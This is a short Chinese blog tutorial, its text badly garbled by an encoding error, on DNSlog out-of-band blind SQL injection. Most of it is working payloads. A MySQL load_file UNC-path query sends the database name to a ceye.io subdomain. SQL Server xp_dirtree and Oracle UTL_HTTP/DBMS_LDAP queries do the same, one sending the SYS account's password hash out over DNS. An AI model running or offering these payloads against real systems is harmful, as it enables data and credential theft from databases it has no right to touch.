dnslog
大家好,又見面了,我是風(fēng)君子,祝每個(gè)程序員都可以多學(xué)幾門語言。
0x00前言
我們?cè)诿ぷ⒌臅r(shí)候,會(huì)非常的繁雜,發(fā)起大量的請(qǐng)求容易被禁ip。
爆數(shù)據(jù)的時(shí)候也比較慢,所以我們需要用到dnslog盲注。
0x01dnslog盲注
dnslog盲注條件:
dnslog盲注有一定的局限性,條件是secure_file_priv必須為空并且是windows系統(tǒng)。
secure_file_priv=null不允許導(dǎo)入導(dǎo)出 secure_file_priv=/tmp只允許在tmp目錄導(dǎo)入導(dǎo)出 secure_file_priv=沒有具體的值
show global variables like '%secure%';
查看secure_file_priv的值
如果沒有需要手工設(shè)置。
可修改mysql配置文件Windows下為my.ini,在[mysqld]下面,查看是否有:
secure_file_priv =
沒有就手工添加。
添加完成后直接來查詢
Windows但不支持 Linux ,原因如下:load_file函數(shù)在Linux下是無法用來做dnslog攻擊的,因?yàn)樵谶@里就涉及到Windows的一個(gè)小Tips——UNC路徑。
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網(wǎng)絡(luò)驅(qū)動(dòng)器. UNC命名慣例最多被應(yīng)用于在局域網(wǎng)中訪問文件服務(wù)器或者打印機(jī)。我們?nèi)粘3S玫木W(wǎng)絡(luò)共享文件就是這個(gè)方式
。因?yàn)長inux沒有UNC路徑這個(gè)東西,所以當(dāng)MySQL處于Linux系統(tǒng)中的時(shí)候,是不能使用這種方式外帶數(shù)據(jù)的
mysql盲注構(gòu)造payload
and load_file(concat('\\\\',(select database()),'.fbuf5n.ceye.io\\abc'))
就可以看到數(shù)據(jù)庫名已經(jīng)被回顯在dns平臺(tái)上。
在一些sqlserver無回顯,Oracle注入無回顯、ssrf、xxe、命令執(zhí)行無回顯的時(shí)候也可以用到dnslog來回顯出來。
sqlserver:
payload:
DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 name from  master.dbo.sysobjects where xtype = 'u')+'.fbut5n.ceye.io';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');
oracle:
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
dnslog平臺(tái):
http://ceye.io/
0x02尾聲
滲透在于折騰
總結(jié)
                            
                        - 上一篇: 祝愿未来可期的句子 祝福未来前程似锦的短
 - 下一篇: delphi控件切图界面闪烁_小程序设计